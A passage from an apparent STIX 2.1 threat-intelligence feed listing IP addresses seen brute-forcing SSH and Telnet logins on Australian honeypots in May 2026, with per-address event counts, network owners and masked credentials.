      "id": "indicator--2db97240-be95-4b38-98db-655847989640",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.196.51.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T20:15:12.000Z",
      "valid_until": "2026-07-01T20:15:08.000Z"
    },
    {
      "created": "2026-05-30T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 58678. Organisation(s): Intech Online Private Limited. Usernames observed (masked): r**t. Passwords observed (masked): d****n, u****u.",
      "id": "indicator--f40acf65-4421-482b-b598-bdcc65bcf7c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.108.17.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T20:15:12.000Z",
      "valid_until": "2026-07-01T20:15:08.000Z"
    },
    {
      "created": "2026-05-30T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 35100. Organisation(s): Patrik Lagerman. Usernames observed (masked): r**t, m****d, 3**********4, ***, b***n. Passwords observed (masked): !**********5, 1****3, 1****6, 1******8, 3***********4.",
      "id": "indicator--85f42d31-85e1-451c-8eea-a46673b7a457",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.25.158.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T20:15:12.000Z",
      "valid_until": "2026-07-01T20:15:08.000Z"
    },
    {
      "created": "2026-05-30T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 160. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom. Usernames observed (masked): r**t, 3**********4, a***n, f*****r, j***b. Passwords observed (masked): p******d, 0**0, 1*****1, 1****6, 3***********4.",
      "id": "indicator--0f7f2ed9-0536-4675-a2bb-0d16eabc8cc2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.211.42.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T20:15:12.000Z",
      "valid_until": "2026-07-01T20:15:08.000Z"
    },
    {
      "created": "2026-05-30T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 135089. Organisation(s): China Telecom. Usernames observed (masked): m***l. Passwords observed (masked): m***l.",
      "id": "indicator--0ba0f82c-e6f3-4857-8df1-6ebe254033d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.56.196.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T20:15:12.000Z",
      "valid_until": "2026-07-01T20:15:08.000Z"
    },
    {
      "created": "2026-05-30T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 160. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 61400. Organisation(s): Start2 LLC. Usernames observed (masked): r**t, 3**********4, a***t, c****s, ***. Passwords observed (masked): ***, 3***********4, 3**********4, @********4, F*******@.",
      "id": "indicator--1a27a824-ae81-4649-893f-33f1f1b7c076",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.16.214.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T20:15:12.000Z",
      "valid_until": "2026-07-01T20:15:08.000Z"
    },
    {
      "created": "2026-05-30T20:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 230. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 9141. Organisation(s): Play. Usernames observed (masked): r**t, 3**********4, l*****n, ***, o*****a. Passwords observed (masked): 1**4, 3***********4, 3**********4, !******x, 1***5.",
      "id": "indicator--867ebcba-c75a-4bdb-a5cf-d315a66ceeb6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T20:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.179.197.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T20:15:12.000Z",
      "valid_until": "2026-07-01T20:15:08.000Z"
    },
    {
      "created": "2026-05-30T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--ad9dc5b9-a277-47bb-a946-1feea0883cec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.251.207.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T21:15:11.000Z",
      "valid_until": "2026-07-01T21:15:08.000Z"
    },
    {
      "created": "2026-05-30T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--424bb64b-2e9a-47ea-a5f3-c0cd19220fb1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.117.251.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T21:15:11.000Z",
      "valid_until": "2026-07-01T21:15:08.000Z"
    },
    {
      "created": "2026-05-30T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 82. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137693. Organisation(s): CHINATELECOM Guangxi Nanning IDC networkdescr: NanningGuangxi Province, P.R.China.. Usernames observed (masked): r**t, 3**********4, u****u. Passwords observed (masked): 3***********4, 3**********4, A********4, U********3.",
      "id": "indicator--daf95534-54c9-4d29-bd22-ed8c47f97656",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.138.194.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T21:15:11.000Z",
      "valid_until": "2026-07-01T21:15:08.000Z"
    },
    {
      "created": "2026-05-30T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation. Usernames observed (masked): r**t, m*******t, 3**********4, f***t, ***. Passwords observed (masked): 3***********4, 3**********4, 7*****1, W**********4, f***t.",
      "id": "indicator--5319200b-32e5-41be-a455-a74753ef931e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.189.236.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T21:15:11.000Z",
      "valid_until": "2026-07-01T21:15:08.000Z"
    },
    {
      "created": "2026-05-30T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24309. Organisation(s): Atria Convergence Technologies Pvt. Ltd. Broadband Internet Service Provider INDIA. Usernames observed (masked): r**t, 3**********4, d***d, t**y. Passwords observed (masked): !**************r, 3***********4, 3**********4, A******************************C, H*******6.",
      "id": "indicator--76f5843d-03e0-4619-98b8-c904fffd5b72",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '202.83.16.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T21:15:11.000Z",
      "valid_until": "2026-07-01T21:15:08.000Z"
    },
    {
      "created": "2026-05-30T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--549be951-c053-4a8c-982b-479a8788b516",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.222.255.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T21:15:11.000Z",
      "valid_until": "2026-07-01T21:15:08.000Z"
    },
    {
      "created": "2026-05-30T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 131423. Organisation(s): Branch of Long Van System Solution JSC - Hanoi. Usernames observed (masked): r**t, m*******t, 3**********4, f*****r, m***l. Passwords observed (masked): 3***********4, 3**********4, 9******3, a******3, h*********4.",
      "id": "indicator--9966f775-990c-4a57-b09f-703ba8ed2938",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.96.20.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T21:15:11.000Z",
      "valid_until": "2026-07-01T21:15:08.000Z"
    },
    {
      "created": "2026-05-30T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--3def49e6-22df-4471-afd7-26ca26cc8557",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T22:15:11.000Z",
      "valid_until": "2026-07-01T22:15:08.000Z"
    },
    {
      "created": "2026-05-30T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 17816. Organisation(s): China Unicom IP network China169 Guangdong province.",
      "id": "indicator--809a4329-9ebb-4611-92c4-948462e2d1e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '163.0.33.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T22:15:11.000Z",
      "valid_until": "2026-07-01T22:15:08.000Z"
    },
    {
      "created": "2026-05-30T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--256bffd8-3fb7-4009-bedc-d6124af85816",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T22:15:11.000Z",
      "valid_until": "2026-07-01T22:15:08.000Z"
    },
    {
      "created": "2026-05-30T22:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: CH. ASN(s): 402253. Organisation(s): SKN Subnet & Telecom Ltd.",
      "id": "indicator--6df2dd25-e6c9-414e-a3e0-f627324a931a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '209.99.185.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T22:15:11.000Z",
      "valid_until": "2026-07-01T22:15:08.000Z"
    },
    {
      "created": "2026-05-30T22:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--54c97d8c-fba7-425e-9ba8-1a1483ee8125",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T22:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.255.33.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T22:15:11.000Z",
      "valid_until": "2026-07-01T22:15:08.000Z"
    },
    {
      "created": "2026-05-30T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, ***, ***, ***. Passwords observed (masked): 1***5, 3***********4, 3**********4, @******6, P******d.",
      "id": "indicator--e1b68d4c-618c-4630-86d2-1715a63d3349",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.155.55.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T23:15:11.000Z",
      "valid_until": "2026-07-01T23:15:08.000Z"
    },
    {
      "created": "2026-05-30T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--73820b01-5d6c-4c78-b7ae-7bcccc8439a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.112.43.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T23:15:11.000Z",
      "valid_until": "2026-07-01T23:15:08.000Z"
    },
    {
      "created": "2026-05-30T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--7e342198-3e3e-491f-9bcb-9c8dd462307b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.1.107.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T23:15:11.000Z",
      "valid_until": "2026-07-01T23:15:08.000Z"
    },
    {
      "created": "2026-05-30T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--cd84cdf4-0f4a-4540-afa0-f62a2db647cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.152.163.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T23:15:11.000Z",
      "valid_until": "2026-07-01T23:15:08.000Z"
    },
    {
      "created": "2026-05-30T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 271011. Organisation(s): SpedyNet Telecom.",
      "id": "indicator--42c2b2a9-b900-4d45-ac70-8446121a47c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.8.175.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T23:15:11.000Z",
      "valid_until": "2026-07-01T23:15:08.000Z"
    },
    {
      "created": "2026-05-30T23:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--78d7d8cb-7bd1-48b5-85ed-5777ffcb67f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.123.38.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T23:15:11.000Z",
      "valid_until": "2026-07-01T23:15:08.000Z"
    },
    {
      "created": "2026-05-31T00:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 139879. Organisation(s): Galaxy Broadband.",
      "id": "indicator--9bb89b28-5559-4c40-bcba-f96941d7fdf4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.74.20.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T00:15:13.000Z",
      "valid_until": "2026-07-02T00:15:08.000Z"
    },
    {
      "created": "2026-05-31T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 198584. Organisation(s): PIO-Hosting GmbH.",
      "id": "indicator--d9a069b3-b048-47c9-bda5-8dbf1c9432ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.136.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T00:15:13.000Z",
      "valid_until": "2026-07-02T00:15:08.000Z"
    },
    {
      "created": "2026-05-31T00:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 8048. Organisation(s): CANTV Servicios, Venezuela.",
      "id": "indicator--e1fb5dab-97cf-4c69-9b0e-0d69a287eb65",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.91.112.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T00:15:13.000Z",
      "valid_until": "2026-07-02T00:15:08.000Z"
    },
    {
      "created": "2026-05-31T00:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--724268ff-d625-4a2c-83f3-e7c0cd3da1f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '220.88.178.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T00:15:13.000Z",
      "valid_until": "2026-07-02T00:15:08.000Z"
    },
    {
      "created": "2026-05-31T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 52148. Organisation(s): Enix Ltd.",
      "id": "indicator--d51de32e-993d-40ad-ae5f-20cba884f299",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.204.209.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T00:15:13.000Z",
      "valid_until": "2026-07-02T00:15:08.000Z"
    },
    {
      "created": "2026-05-31T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ZM. ASN(s): 328646. Organisation(s): Infratel-Corporation. Usernames observed (masked): r**t, 3**********4, u**r. Passwords observed (masked): ***, 3***********4, 3**********4, A*******., Q******5.",
      "id": "indicator--6e18d657-dcc9-4443-876c-633fa85c1bc3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.23.122.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T01:15:10.000Z",
      "valid_until": "2026-07-02T01:15:08.000Z"
    },
    {
      "created": "2026-05-31T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 301. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, 3**********4, n*****t, d****n, d******r. Passwords observed (masked): 3***********4, 3**********4, 1********@, 1******l, A******9.",
      "id": "indicator--74d77a33-2b46-47c0-a693-6333bdd2d1f7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '150.5.154.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T01:15:10.000Z",
      "valid_until": "2026-07-02T01:15:08.000Z"
    },
    {
      "created": "2026-05-31T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 301. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, u***1, a***n, a****1. Passwords observed (masked): 3***********4, 3**********4, *, 1****0, 1***5.",
      "id": "indicator--47934f9a-9208-4c4a-9354-2b85db9dfdeb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.32.162.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T01:15:10.000Z",
      "valid_until": "2026-07-02T01:15:08.000Z"
    },
    {
      "created": "2026-05-31T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): u***2. Passwords observed (masked): 1****6.",
      "id": "indicator--70983cb6-75ec-4abc-a62d-1df97253a42c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.76.147.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T01:15:10.000Z",
      "valid_until": "2026-07-02T01:15:08.000Z"
    },
    {
      "created": "2026-05-31T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 39798. Organisation(s): MivoCloud SRL.",
      "id": "indicator--0a0a2b90-17e8-4c8e-8825-2acfe72b6cf5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.225.17.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T01:15:10.000Z",
